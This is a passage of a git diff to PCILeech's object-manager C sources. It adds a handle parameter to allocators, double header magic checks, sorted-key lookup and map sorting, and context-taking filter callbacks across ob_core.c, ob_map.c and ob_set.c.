- pObCacheMap->pm = ObMap_New(OB_MAP_FLAGS_OBJECT_VOID);
+ pObCacheMap->pm = ObMap_New(H, OB_MAP_FLAGS_OBJECT_VOID);
if(!pObCacheMap->pm) {
Ob_DECREF(pObCacheMap);
return NULL;
diff --git a/pcileech/ob/ob_core.c b/pcileech/ob/ob_core.c
index 2fbdac1..90a133a 100644
--- a/pcileech/ob/ob_core.c
+++ b/pcileech/ob/ob_core.c
@@ -14,7 +14,7 @@
// - such as decreasing reference count of sub-objects contained in the object
// that is to be deallocated.
//
-// (c) Ulf Frisk, 2018-2022
+// (c) Ulf Frisk, 2018-2023
// Author: Ulf Frisk, pcileech@frizk.net
//
#include "ob.h"
@@ -26,6 +26,7 @@
/*
* Allocate a new object manager memory object.
+* -- H = an optional handle to embed as OB.H in the header.
* -- tag = tag of the object to be allocated.
* -- uFlags = flags as given by LocalAlloc.
* -- uBytes = bytes of object (_including_ object headers).
@@ -34,17 +35,19 @@
* -- pfnRef_1 = optional callback for when object reach refcount = 1 (excl. initial).
* -- return = allocated object on success, with refcount = 1, - NULL on fail.
*/
-PVOID Ob_Alloc(_In_ DWORD tag, _In_ UINT uFlags, _In_ SIZE_T uBytes, _In_opt_ VOID(*pfnRef_0)(_In_ PVOID pOb), _In_opt_ VOID(*pfnRef_1)(_In_ PVOID pOb))
+PVOID Ob_AllocEx(_In_opt_ VMM_HANDLE H, _In_ DWORD tag, _In_ UINT uFlags, _In_ SIZE_T uBytes, _In_opt_ OB_CLEANUP_CB pfnRef_0, _In_opt_ OB_CLEANUP_CB pfnRef_1)
{
POB pOb;
if((uBytes > 0x40000000) || (uBytes < sizeof(OB))) { return NULL; }
pOb = (POB)LocalAlloc(uFlags, uBytes + OB_DEBUG_FOOTER_SIZE);
if(!pOb) { return NULL; }
- pOb->_magic = OB_HEADER_MAGIC;
+ pOb->_magic1 = OB_HEADER_MAGIC;
+ pOb->_magic2 = OB_HEADER_MAGIC;
pOb->_count = 1;
pOb->_tag = tag;
pOb->_pfnRef_0 = pfnRef_0;
pOb->_pfnRef_1 = pfnRef_1;
+ pOb->H = H;
pOb->cbData = (DWORD)uBytes - sizeof(OB);
#ifdef OB_DEBUG
DWORD i, cb = sizeof(OB) + pOb->cbData;
@@ -65,7 +68,7 @@ PVOID Ob_XINCREF(_In_opt_ PVOID pObIn)
{
POB pOb = (POB)pObIn;
if(pOb) {
- if(pOb->_magic == OB_HEADER_MAGIC) {
+ if((pOb->_magic2 == OB_HEADER_MAGIC) && (pOb->_magic1 == OB_HEADER_MAGIC)) {
InterlockedIncrement(&pOb->_count);
return (POB)pOb;
} else {
@@ -86,7 +89,7 @@ PVOID Ob_XDECREF(_In_opt_ PVOID pObIn)
POB pOb = (POB)pObIn;
DWORD c;
if(pOb) {
- if(pOb->_magic == OB_HEADER_MAGIC) {
+ if((pOb->_magic2 == OB_HEADER_MAGIC) && (pOb->_magic1 == OB_HEADER_MAGIC)) {
c = InterlockedDecrement(&pOb->_count);
#ifdef OB_DEBUG
DWORD i, cb = sizeof(OB) + pOb->cbData;
@@ -99,7 +102,11 @@ PVOID Ob_XDECREF(_In_opt_ PVOID pObIn)
#endif /* OB_DEBUG */
if(c == 0) {
if(pOb->_pfnRef_0) { pOb->_pfnRef_0(pOb); }
- pOb->_magic = 0;
+ pOb->_magic1 = 0;
+ pOb->_magic2 = 0;
+#ifdef OB_DEBUG_MEMZERO
+ ZeroMemory(pOb, sizeof(OB) + pOb->cbData);
+#endif /* OB_DEBUG_MEMZERO */
LocalFree(pOb);
} else if((c == 1) && pOb->_pfnRef_1) {
pOb->_pfnRef_1(pOb);
@@ -115,16 +122,18 @@ PVOID Ob_XDECREF(_In_opt_ PVOID pObIn)
}
/*
-* Decrease the reference count of a object manager object. If the reference
-* count reaches zero the object will be cleaned up.
+* Decrease the reference count of a object manager object.
+* If the reference count reaches zero the object will be cleaned up.
* Also set the incoming pointer to NULL.
* -- ppOb
*/
VOID Ob_XDECREF_NULL(_In_opt_ PVOID *ppOb)
{
+ POB pOb;
if(ppOb) {
- Ob_DECREF(*ppOb);
+ pOb = (POB)*ppOb;
*ppOb = NULL;
+ Ob_DECREF(pOb);
}
}
@@ -137,7 +146,7 @@ VOID Ob_XDECREF_NULL(_In_opt_ PVOID *ppOb)
BOOL Ob_VALID_TAG(_In_ PVOID pObIn, _In_ DWORD tag)
{
POB pOb = (POB)pObIn;
- return pOb && (pOb->_magic == OB_HEADER_MAGIC) && (pOb->_tag = tag);
+ return pOb && (pOb->_magic2 == OB_HEADER_MAGIC) && (pOb->_magic1 == OB_HEADER_MAGIC) && (pOb->_tag = tag);
}
/*
@@ -145,15 +154,16 @@ BOOL Ob_VALID_TAG(_In_ PVOID pObIn, _In_ DWORD tag)
* to the number of bytes in the data buffer supplied to this function.
* May also be created with Ob_Alloc with size: sizeof(OB_HDR) + length of data.
* CALLER DECREF: return
+* -- H
* -- pb
* -- cb
* -- return
*/
_Success_(return != NULL)
-POB_DATA ObData_New(_In_ PBYTE pb, _In_ DWORD cb)
+POB_DATA ObData_New(_In_opt_ VMM_HANDLE H, _In_ PBYTE pb, _In_ DWORD cb)
{
POB_DATA pObData = NULL;
- if((pObData = Ob_Alloc(OB_TAG_CORE_DATA, 0, sizeof(OB) + cb, NULL, NULL))) {
+ if((pObData = Ob_AllocEx(H, OB_TAG_CORE_DATA, 0, sizeof(OB) + cb, NULL, NULL))) {
memcpy(pObData->pb, pb, cb);
}
return pObData;
diff --git a/pcileech/ob/ob_map.c b/pcileech/ob/ob_map.c
index 6295283..7e47c21 100644
--- a/pcileech/ob/ob_map.c
+++ b/pcileech/ob/ob_map.c
@@ -12,7 +12,7 @@
// of the set with ObMap_Get/ObMap_GetNext may fail.
// The ObMap is an object manager object and must be DECREF'ed when required.
//
-// (c) Ulf Frisk, 2019-2022
+// (c) Ulf Frisk, 2019-2023
// Author: Ulf Frisk, pcileech@frizk.net
//
#include "ob.h"
@@ -20,7 +20,7 @@
#define OB_MAP_ENTRIES_DIRECTORY 0x100
#define OB_MAP_ENTRIES_TABLE 0x200
#define OB_MAP_ENTRIES_STORE 0x100
-#define OB_MAP_IS_VALID(p) (p && (p->ObHdr._magic == OB_HEADER_MAGIC) && (p->ObHdr._tag == OB_TAG_CORE_MAP))
+#define OB_MAP_IS_VALID(p) (p && (p->ObHdr._magic2 == OB_HEADER_MAGIC) && (p->ObHdr._magic1 == OB_HEADER_MAGIC) && (p->ObHdr._tag == OB_TAG_CORE_MAP))
#define OB_MAP_TABLE_MAX_CAPACITY OB_MAP_ENTRIES_DIRECTORY * OB_MAP_ENTRIES_TABLE * OB_MAP_ENTRIES_STORE
#define OB_MAP_HASH_FUNCTION(v) (13 * (v + _rotr16((WORD)v, 9) + _rotr((DWORD)v, 17) + _rotr64(v, 31)))
@@ -28,14 +28,6 @@
#define OB_MAP_INDEX_TABLE(i) ((i >> 8) & (OB_MAP_ENTRIES_TABLE - 1))
#define OB_MAP_INDEX_STORE(i) (i & (OB_MAP_ENTRIES_STORE - 1))
-typedef struct tdOB_MAP_ENTRY {
- QWORD k;
- union {
- PVOID v;
- QWORD _Filler;
- };
-} OB_MAP_ENTRY, *POB_MAP_ENTRY, **PPOB_MAP_ENTRY;
-
typedef struct tdOB_MAP {
OB ObHdr;
SRWLOCK LockSRW;
@@ -282,6 +274,95 @@ PVOID _ObMap_GetNextByKey(_In_ POB_MAP pm, _In_ QWORD qwKey, _In_opt_ PVOID pvOb
return _ObMap_GetByEntryIndex(pm, iEntry + 1);
}
+PVOID _ObMap_GetNextByIndex(_In_ POB_MAP pm, _Inout_ PDWORD pdwIndex, _In_opt_ PVOID pvObject)
+{
+ if(pvObject) {
+ *pdwIndex = pm->c - 1;
+ } else {
+ *pdwIndex = *pdwIndex - 1;
+ }
+ if(pm->fObjectsOb) { Ob_DECREF(pvObject); }
+ return _ObMap_GetByEntryIndex(pm, *pdwIndex);
+}
+
+/*
+* Efficiently find the index of the key in the map.
+* If the key cannot be located the index of the next larger key is returned.
+* -- pm
+* -- qwKey
+* -- pdwIndex
+* -- return
+*/
+_Success_(return)
+BOOL _ObMap_QFind(_In_ POB_MAP pm, _In_ QWORD qwKey, _Out_ PDWORD pdwIndex)
+{
+ POB_MAP_ENTRY pe;
+ DWORD i, dwStep, cMap;
+ if(pm->c <= 1) { return FALSE; }
+ cMap = pm->c - 1;
+ for(i = 1; ((cMap - 1) >> i); i++);
+ i = min(1UL << (i - 1), (cMap - 1) >> 1);
+ if(i == 0) { i = 1; }
+ dwStep = i >> 1;
+ while(dwStep > 1) {
+ pe = &pm->Directory[OB_MAP_INDEX_DIRECTORY(i)][OB_MAP_INDEX_TABLE(i)][OB_MAP_INDEX_STORE(i)];
+ if(pe->k < qwKey) {
+ if(i + dwStep <= cMap) {
+ i += dwStep;
+ }
+ } else if(pe->k > qwKey) {
+ i -= dwStep;
+ } else {
+ *pdwIndex = i;
+ return TRUE;
+ }
+ dwStep = dwStep >> 1;
+ }
+ pe = &pm->Directory[OB_MAP_INDEX_DIRECTORY(i)][OB_MAP_INDEX_TABLE(i)][OB_MAP_INDEX_STORE(i)];
+ while(TRUE) {
+ if(pe->k < qwKey) {
+ if(i == cMap) { return FALSE; }
+ i++;
+ pe = &pm->Directory[OB_MAP_INDEX_DIRECTORY(i)][OB_MAP_INDEX_TABLE(i)][OB_MAP_INDEX_STORE(i)];
+ if(pe->k >= qwKey) {
+ *pdwIndex = i;
+ return TRUE;
+ }
+ } else if(pe->k > qwKey) {
+ if(i == 1) {
+ *pdwIndex = 1;
+ return TRUE;
+ }
+ i--;
+ pe = &pm->Directory[OB_MAP_INDEX_DIRECTORY(i)][OB_MAP_INDEX_TABLE(i)][OB_MAP_INDEX_STORE(i)];
+ if(pe->k < qwKey) {
+ *pdwIndex = i + 1;
+ return TRUE;
+ }
+ } else {
+ *pdwIndex = i;
+ return TRUE;
+ }
+ }
+ return FALSE;
+}
+
+PVOID _ObMap_GetNextByKeySorted(_In_ POB_MAP pm, _In_ QWORD qwKey, _In_opt_ PVOID pvObject)
+{
+ DWORD iEntry;
+ if(pm->fObjectsOb) { Ob_DECREF(pvObject); }
+ if(qwKey == 0) {
+ iEntry = 1;
+ } else if(_ObMap_GetEntryIndexFromKeyOrValue(pm, FALSE, qwKey, &iEntry)) {
+ iEntry++;
+ } else if(_ObMap_QFind(pm, qwKey, &iEntry)) {
+ ;
+ } else {
+ return NULL;
+ }
+ return _ObMap_GetByEntryIndex(pm, iEntry);
+}
+
_Success_(return != 0)
QWORD _ObMap_GetKey(_In_ POB_MAP pm, _In_ PVOID pvObject)
{
@@ -291,28 +372,27 @@ QWORD _ObMap_GetKey(_In_ POB_MAP pm, _In_ PVOID pvObject)
}
_Success_(return)
-BOOL _ObMap_Filter(_In_ POB_MAP pm, _Inout_opt_ PVOID ctx, _In_ VOID(*pfnFilter)(_In_ QWORD k, _In_ PVOID v, _Inout_opt_ PVOID ctx))
+BOOL _ObMap_Filter(_In_ POB_MAP pm, _In_opt_ PVOID ctx, _In_ OB_MAP_FILTER_PFN_CB pfnFilterCB)
{
DWORD iEntry;
POB_MAP_ENTRY pEntry;
for(iEntry = 1; iEntry < pm->c; iEntry++) {
pEntry = &pm->Directory[OB_MAP_INDEX_DIRECTORY(iEntry)][OB_MAP_INDEX_TABLE(iEntry)][OB_MAP_INDEX_STORE(iEntry)];
- pfnFilter(pEntry->k, pEntry->v, ctx);
+ pfnFilterCB(ctx, pEntry->k, pEntry->v);
}
return TRUE;
}
_Success_(return != NULL)
-POB_SET _ObMap_FilterSet(_In_ POB_MAP pm, _In_opt_ VOID(*pfnFilter)(_In_ QWORD k, _In_ PVOID v, _Inout_ POB_SET ps))
+POB_SET _ObMap_FilterSet(_In_ POB_MAP pm, _In_opt_ PVOID ctx, _In_ OB_MAP_FILTERSET_PFN_CB pfnFilterSetCB)
{
DWORD iEntry;
POB_MAP_ENTRY pEntry;
POB_SET pObSet;
- if(!(pObSet = ObSet_New())) { return NULL; }
- if(!pfnFilter) { return pObSet; }
+ if(!(pObSet = ObSet_New(pm->ObHdr.H))) { return NULL; }
for(iEntry = 1; iEntry < pm->c; iEntry++) {
pEntry = &pm->Directory[OB_MAP_INDEX_DIRECTORY(iEntry)][OB_MAP_INDEX_TABLE(iEntry)][OB_MAP_INDEX_STORE(iEntry)];
- pfnFilter(pEntry->k, pEntry->v, pObSet);
+ pfnFilterSetCB(ctx, pObSet, pEntry->k, pEntry->v);
}
return pObSet;
}
@@ -381,6 +461,45 @@ PVOID ObMap_GetNextByKey(_In_opt_ POB_MAP pm, _In_ QWORD qwKey, _In_opt_ PVOID p
OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, PVOID, NULL, _ObMap_GetNextByKey(pm, qwKey, pvObject))
}
+/*
+* Retrieve the next object given a key in a map sorted by key. If the key isn't
+* found the next object with a larger key will be returned. To start iterating
+* supply zero (0) in the qwKey parameter. When no more objects are found NULL
+* will be returned.
+* NB! Correctness is only guarateed if the map is sorted by key ascending.
+* FUNCTION DECREF(if OB): pvObject
+* CALLER DECREF(if OB): return
+* -- pm
+* -- qwKey
+* -- pvObject
+* -- return
+*/
+PVOID ObMap_GetNextByKeySorted(_In_opt_ POB_MAP pm, _In_ QWORD qwKey, _In_opt_ PVOID pvObject)
+{
+ OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, PVOID, NULL, _ObMap_GetNextByKeySorted(pm, qwKey, pvObject))
+}
+
+/*
+* Iterate over objects in reversed index order. To start iterating supply NULL
+* in the pvObject parameter (this overrides pdwIndex). When no more objects
+* are found NULL will be returned.
+* Add/Remove rules:
+* - Added objects are ok - but will not be iterated over.
+* - Removal of current object and already iterated objects are ok.
+* - Removal of objects not yet iterated is FORBIDDEN. It causes the iterator
+* fail by returning the same object multiple times or skipping objects.
+* FUNCTION DECREF(if OB): pvObject
+* CALLER DECREF(if OB): return
+* -- pm
+* -- pdwIndex
+* -- pvObject
+* -- return
+*/
+PVOID ObMap_GetNextByIndex(_In_opt_ POB_MAP pm, _Inout_ PDWORD pdwIndex, _In_opt_ PVOID pvObject)
+{
+ OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, PVOID, NULL, _ObMap_GetNextByIndex(pm, pdwIndex, pvObject))
+}
+
/*
* Retrieve the key for an existing object in the ObMap.
* -- pm
@@ -418,33 +537,35 @@ QWORD ObMap_PeekKey(_In_opt_ POB_MAP pm)
* Filter map objects into a generic context by using a user-supplied filter function.
* -- pm
* -- ctx = optional context to pass on to the filter function.
-* -- pfnFilter
+* -- pfnFilterCB
* -- return
*/
_Success_(return)
-BOOL ObMap_Filter(_In_opt_ POB_MAP pm, _Inout_opt_ PVOID ctx, _In_opt_ VOID(*pfnFilter)(_In_ QWORD k, _In_ PVOID v, _Inout_opt_ PVOID ctx))
+BOOL ObMap_Filter(_In_opt_ POB_MAP pm, _In_opt_ PVOID ctx, _In_opt_ OB_MAP_FILTER_PFN_CB pfnFilterCB)
{
- if(!pfnFilter) { return FALSE; }
- OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, BOOL, FALSE, _ObMap_Filter(pm, ctx, pfnFilter));
+ if(!pfnFilterCB) { return FALSE; }
+ OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, BOOL, FALSE, _ObMap_Filter(pm, ctx, pfnFilterCB));
}
/*
* Filter map objects into a POB_SET by using a user-supplied filter function.
* CALLER DECREF: return
* -- pm
-* -- pfnFilter
+* -- ctx = optional context to pass on to the filter function.
+* -- pfnFilterSetCB
* -- return = POB_SET consisting of values gathered by the pfnFilter function.
*/
_Success_(return != NULL)
-POB_SET ObMap_FilterSet(_In_opt_ POB_MAP pm, _In_opt_ VOID(*pfnFilter)(_In_ QWORD k, _In_ PVOID v, _Inout_ POB_SET ps))
+POB_SET ObMap_FilterSet(_In_opt_ POB_MAP pm, _In_opt_ PVOID ctx, _In_opt_ OB_MAP_FILTERSET_PFN_CB pfnFilterSetCB)
{
- OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, POB_SET, NULL, _ObMap_FilterSet(pm, pfnFilter));
+ if(!pfnFilterSetCB) { return NULL; }
+ OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, POB_SET, NULL, _ObMap_FilterSet(pm, ctx, pfnFilterSetCB));
}
/*
* Common filter function related to ObMap_FilterSet.
*/
-VOID ObMap_FilterSet_FilterAllKey(_In_ QWORD k, _In_ PVOID v, _Inout_ POB_SET ps)
+VOID ObMap_FilterSet_FilterAllKey(_In_opt_ PVOID ctx, _In_ POB_SET ps, _In_ QWORD k, _In_ PVOID v)
{
ObSet_Push(ps, k);
}
@@ -492,16 +613,15 @@ PVOID _ObMap_RemoveOrRemoveByKey(_In_ POB_MAP pm, _In_ BOOL fValueHash, _In_ QWO
return _ObMap_RetrieveAndRemoveByEntryIndex(pm, iEntry, NULL);
}
-DWORD _ObMap_RemoveByFilter(_In_ POB_MAP pm, _In_opt_ BOOL(*pfnFilter)(_In_ QWORD k, _In_ PVOID v))
+DWORD _ObMap_RemoveByFilter(_In_ POB_MAP pm, _In_opt_ PVOID ctx, _In_ OB_MAP_FILTER_REMOVE_PFN_CB pfnFilterRemoveCB)
{
DWORD cRemove = 0;
DWORD iEntry;
PVOID pv;
POB_MAP_ENTRY pEntry;
- if(!pfnFilter) { return 0; }
for(iEntry = pm->c - 1; iEntry; iEntry--) {
pEntry = &pm->Directory[OB_MAP_INDEX_DIRECTORY(iEntry)][OB_MAP_INDEX_TABLE(iEntry)][OB_MAP_INDEX_STORE(iEntry)];
- if(pfnFilter(pEntry->k, pEntry->v)) {
+ if(pfnFilterRemoveCB(ctx, pEntry->k, pEntry->v)) {
cRemove++;
pv = _ObMap_RetrieveAndRemoveByEntryIndex(pm, iEntry, NULL);
if(pm->fObjectsOb) { Ob_DECREF(pv); }
@@ -531,7 +651,7 @@ PVOID ObMap_Pop(_In_opt_ POB_MAP pm)
* -- return = success: object, fail: NULL.
*/
_Success_(return != NULL)
-PVOID ObMap_PopWithKey(_In_opt_ POB_MAP pm, _Out_ PQWORD pKey)
+PVOID ObMap_PopWithKey(_In_opt_ POB_MAP pm, _Out_opt_ PQWORD pKey)
{
OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pm, PVOID, NULL, _ObMap_RetrieveAndRemoveByEntryIndex(pm, pm->c - 1, pKey))
}
@@ -564,12 +684,14 @@ PVOID ObMap_RemoveByKey(_In_opt_ POB_MAP pm, _In_ QWORD qwKey)
/*
* Remove map objects using a user-supplied filter function.
* -- pm
-* -- pfnFilter = decision making function, TRUE = keep, FALSE = remove.
+* -- ctx = optional context to pass on to the filter function.
+* -- pfnFilterRemoveCB = decision making function: [pfnFilter(ctx,k,v)->TRUE(remove)|FALSE(keep)]
* -- return = number of entries removed.
*/
-DWORD ObMap_RemoveByFilter(_In_opt_ POB_MAP pm, _In_opt_ BOOL(*pfnFilter)(_In_ QWORD k, _In_ PVOID v))
+DWORD ObMap_RemoveByFilter(_In_opt_ POB_MAP pm, _In_opt_ PVOID ctx, _In_opt_ OB_MAP_FILTER_REMOVE_PFN_CB pfnFilterRemoveCB)
{
- OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pm, DWORD, 0, _ObMap_RemoveByFilter(pm, pfnFilter));
+ if(!pfnFilterRemoveCB) { return 0; }
+ OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pm, DWORD, 0, _ObMap_RemoveByFilter(pm, ctx, pfnFilterRemoveCB));
}
/*
@@ -597,9 +719,78 @@ BOOL ObMap_Clear(_In_opt_ POB_MAP pm)
+//-----------------------------------------------------------------------------
+// SORT FUNCTIONALITY BELOW:
+// ObMap_SortEntryIndex
+//-----------------------------------------------------------------------------
+
+_Success_(return)
+BOOL _ObMap_SortEntryIndex(_In_ POB_MAP pm, _In_ OB_MAP_SORT_COMPARE_FUNCTION pfnSort)
+{
+ DWORD iEntry;
+ POB_MAP_ENTRY pSort;
+ if(!(pSort = LocalAlloc(0, pm->c * sizeof(OB_MAP_ENTRY)))) { return FALSE; }
+ // sort map
+ for(iEntry = 1; iEntry < pm->c; iEntry++) {
+ memcpy(pSort + iEntry, &pm->Directory[OB_MAP_INDEX_DIRECTORY(iEntry)][OB_MAP_INDEX_TABLE(iEntry)][OB_MAP_INDEX_STORE(iEntry)], sizeof(OB_MAP_ENTRY));
+ }
+ qsort(pSort + 1, pm->c - 1, sizeof(OB_MAP_ENTRY), (_CoreCrtNonSecureSearchSortCompareFunction)pfnSort);
+ for(iEntry = 1; iEntry < pm->c; iEntry++) {
+ memcpy(&pm->Directory[OB_MAP_INDEX_DIRECTORY(iEntry)][OB_MAP_INDEX_TABLE(iEntry)][OB_MAP_INDEX_STORE(iEntry)], pSort + iEntry, sizeof(OB_MAP_ENTRY));
+ }
+ LocalFree(pSort);
+ // update hash maps
+ if(pm->fKey) {
+ ZeroMemory(pm->pHashMapKey, pm->cHashMax * sizeof(DWORD));
+ for(iEntry = 1; iEntry < pm->c; iEntry++) {
+ _ObMap_InsertHash(pm, FALSE, iEntry);
+ }
+ }
+ ZeroMemory(pm->pHashMapValue, pm->cHashMax * sizeof(DWORD));
+ for(iEntry = 1; iEntry < pm->c; iEntry++) {
+ _ObMap_InsertHash(pm, TRUE, iEntry);
+
+ }
+ return TRUE;
+}
+
+int _ObMap_SortEntryIndexByKey_CmpSort(_In_ POB_MAP_ENTRY e1, _In_ POB_MAP_ENTRY e2)
+{
+ return
+ (e1->k < e2->k) ? -1 :
+ (e1->k > e2->k) ? 1 : 0;
+}
+
+/*
+* Sort the ObMap entry index by a sort compare function.
+* NB! The items sorted by the sort function are const OB_MAP_ENTRY* objects
+* which points to the underlying map object key/value.
+* -- pm
+* -- pfnSort = sort function callback. const void* == const OB_MAP_ENTRY*
+* -- return
+*/
+_Success_(return)
+BOOL ObMap_SortEntryIndex(_In_opt_ POB_MAP pm, _In_ OB_MAP_SORT_COMPARE_FUNCTION pfnSort)
+{
+ OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pm, BOOL, FALSE, _ObMap_SortEntryIndex(pm, pfnSort))
+}
+
+/*
+* Sort the ObMap entry index by key ascending.
+* NB! The items sorted by the sort function are const OB_MAP_ENTRY* objects
+* which points to the underlying map object key/value.
+* -- pm
+* -- return
+*/
+_Success_(return)
+BOOL ObMap_SortEntryIndexByKey(_In_opt_ POB_MAP pm)
+{
+ return ObMap_SortEntryIndex(pm, _ObMap_SortEntryIndexByKey_CmpSort);
+}
+
//-----------------------------------------------------------------------------
// CREATE / INSERT FUNCTIONALITY BELOW:
-// ObMap_New, ObMap_Push
+// ObMap_New, ObMap_Push, ObMap_PushCopy, ObMap_New
//-----------------------------------------------------------------------------
/*
@@ -641,7 +832,7 @@ BOOL _ObMap_Push(_In_ POB_MAP pm, _In_ QWORD qwKey, _In_ PVOID pvObject)
POB_MAP_ENTRY pe;
DWORD iEntry = pm->c;
if(!pvObject || _ObMap_Exists(pm, TRUE, (QWORD)pvObject) || _ObMap_Exists(pm, FALSE, qwKey)) { return FALSE; }
- if(iEntry == OB_MAP_ENTRIES_DIRECTORY * OB_MAP_ENTRIES_TABLE * OB_MAP_ENTRIES_STORE) { return FALSE; }
+ if(iEntry == OB_MAP_TABLE_MAX_CAPACITY) { return FALSE; }
if(iEntry == pm->cHashGrowThreshold) {
if(!_ObMap_Grow(pm)) {
return FALSE;
@@ -712,14 +903,15 @@ BOOL ObMap_PushCopy(_In_opt_ POB_MAP pm, _In_ QWORD qwKey, _In_ PVOID pvObject,
* to optionally map key values to values, pointers or object manager objects.
* The ObMap is an object manager object and must be DECREF'ed when required.
* CALLER DECREF: return
+* -- H
* -- flags = defined by OB_MAP_FLAGS_*
* -- return
*/
-POB_MAP ObMap_New(_In_ QWORD flags)
+POB_MAP ObMap_New(_In_opt_ VMM_HANDLE H, _In_ QWORD flags)
{
POB_MAP pObMap;
if((flags & OB_MAP_FLAGS_OBJECT_OB) && (flags & OB_MAP_FLAGS_OBJECT_LOCALFREE)) { return NULL; }
- pObMap = Ob_Alloc(OB_TAG_CORE_MAP, LMEM_ZEROINIT, sizeof(OB_MAP), (OB_CLEANUP_CB)_ObMap_ObCloseCallback, NULL);
+ pObMap = Ob_AllocEx(H, OB_TAG_CORE_MAP, LMEM_ZEROINIT, sizeof(OB_MAP), (OB_CLEANUP_CB)_ObMap_ObCloseCallback, NULL);
if(!pObMap) { return NULL; }
InitializeSRWLock(&pObMap->LockSRW);
pObMap->c = 1; // item zero is reserved - hence the initialization of count to 1
diff --git a/pcileech/ob/ob_set.c b/pcileech/ob/ob_set.c
index f09b35c..e69de6e 100644
--- a/pcileech/ob/ob_set.c
+++ b/pcileech/ob/ob_set.c
@@ -9,7 +9,7 @@
// iterations of the set with ObSet_Get/ObSet_GetNext may fail.
// The ObSet is an object manager object and must be DECREF'ed when required.
//
-// (c) Ulf Frisk, 2019-2022
+// (c) Ulf Frisk, 2019-2023
// Author: Ulf Frisk, pcileech@frizk.net
//
#include "ob.h"
@@ -18,6 +18,13 @@
#define OB_SET_ENTRIES_DIRECTORY 0x100
#define OB_SET_ENTRIES_TABLE 0x80
#define OB_SET_ENTRIES_STORE 0x200
+#define OB_SET_IS_VALID(p) (p && (p->ObHdr._magic2 == OB_HEADER_MAGIC) && (p->ObHdr._magic1 == OB_HEADER_MAGIC) && (p->ObHdr._tag == OB_TAG_CORE_SET))
+#define OB_SET_TABLE_MAX_CAPACITY OB_SET_ENTRIES_DIRECTORY * OB_SET_ENTRIES_TABLE * OB_SET_ENTRIES_STORE
+#define OB_SET_HASH_FUNCTION(v) (13 * (v + _rotr16((WORD)v, 9) + _rotr((DWORD)v, 17) + _rotr64(v, 31)))
+
+#define OB_SET_INDEX_DIRECTORY(i) ((i >> 16) & (OB_SET_ENTRIES_DIRECTORY - 1))
+#define OB_SET_INDEX_TABLE(i) ((i >> 9) & (OB_SET_ENTRIES_TABLE - 1))
+#define OB_SET_INDEX_STORE(i) (i & (OB_SET_ENTRIES_STORE - 1))
typedef struct tdOB_SET_TABLE_ENTRY {
union {
@@ -49,10 +56,6 @@ typedef struct tdOB_SET {
QWORD pStore00[OB_SET_ENTRIES_STORE];
} OB_SET, *POB_SET;
-#define OB_SET_IS_VALID(p) (p && (p->ObHdr._magic == OB_HEADER_MAGIC) && (p->ObHdr._tag == OB_TAG_CORE_SET))
-#define TABLE_MAX_CAPACITY OB_SET_ENTRIES_DIRECTORY * OB_SET_ENTRIES_TABLE * OB_SET_ENTRIES_STORE
-#define HASH_FUNCTION(v) (13 * (v + _rotr16((WORD)v, 9) + _rotr((DWORD)v, 17) + _rotr64(v, 31)))
-
#define OB_SET_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pvs, RetTp, RetValFail, fn) { \
if(!OB_SET_IS_VALID(pvs)) { return RetValFail; } \
RetTp retVal; \
@@ -106,11 +109,13 @@ VOID _ObSet_ObCloseCallback(_In_ POB_SET pObSet)
* ways to store unique 64-bit (or smaller) numbers as a set.
* The ObSet is an object manager object and must be DECREF'ed when required.
* CALLER DECREF: return
+* -- H
+* -- hHeap
* -- return
*/
-POB_SET ObSet_New()
+POB_SET ObSet_New(_In_opt_ VMM_HANDLE H)
{
- POB_SET pObSet = Ob_Alloc(OB_TAG_CORE_SET, LMEM_ZEROINIT, sizeof(OB_SET), (OB_CLEANUP_CB)_ObSet_ObCloseCallback, NULL);
+ POB_SET pObSet = Ob_AllocEx(H, OB_TAG_CORE_SET, LMEM_ZEROINIT, sizeof(OB_SET), (OB_CLEANUP_CB)_ObSet_ObCloseCallback, NULL);
if(!pObSet) { return NULL; }
InitializeSRWLock(&pObSet->LockSRW);
pObSet->c = 1; // item zero is reserved - hence the initialization of count to 1
@@ -122,20 +127,20 @@ POB_SET ObSet_New()
QWORD _ObSet_GetValueFromIndex(_In_ POB_SET pvs, _In_ DWORD iValue)
{
- WORD iDirectory = (iValue >> 14) & (OB_SET_ENTRIES_DIRECTORY - 1);
- WORD iTable = (iValue >> 9) & (OB_SET_ENTRIES_TABLE - 1);
- WORD iValueStore = iValue & (OB_SET_ENTRIES_STORE - 1);
+ WORD iDirectory = OB_SET_INDEX_DIRECTORY(iValue);
+ WORD iTable = OB_SET_INDEX_TABLE(iValue);
+ WORD iValueStore = OB_SET_INDEX_STORE(iValue);
if(!iValue || (iValue >= pvs->c)) { return 0; }
return pvs->fLargeMode ?
- pvs->pDirectory[iDirectory].pTable[iTable].pValues[iValueStore] :
+ pvs->pDirectory[OB_SET_INDEX_DIRECTORY(iValue)].pTable[iTable].pValues[iValueStore] :
pvs->pTable0[iTable].pValues[iValueStore];
}
VOID _ObSet_SetValueFromIndex(_In_ POB_SET pvs, _In_ DWORD iValue, _In_ QWORD qwValue)
{
- WORD iDirectory = (iValue >> 14) & (OB_SET_ENTRIES_DIRECTORY - 1);
- WORD iTable = (iValue >> 9) & (OB_SET_ENTRIES_TABLE - 1);
- WORD iValueStore = iValue & (OB_SET_ENTRIES_STORE - 1);
+ WORD iDirectory = OB_SET_INDEX_DIRECTORY(iValue);
+ WORD iTable = OB_SET_INDEX_TABLE(iValue);
+ WORD iValueStore = OB_SET_INDEX_STORE(iValue);
if(pvs->fLargeMode) {
pvs->pDirectory[iDirectory].pTable[iTable].pValues[iValueStore] = qwValue;
} else {
@@ -163,7 +168,7 @@ VOID _ObSet_InsertHash(_In_ POB_SET pvs, _In_ DWORD iValue)
DWORD dwHashMask = pvs->cHashMax - 1;
QWORD qwValueToHash = _ObSet_GetValueFromIndex(pvs, iValue);
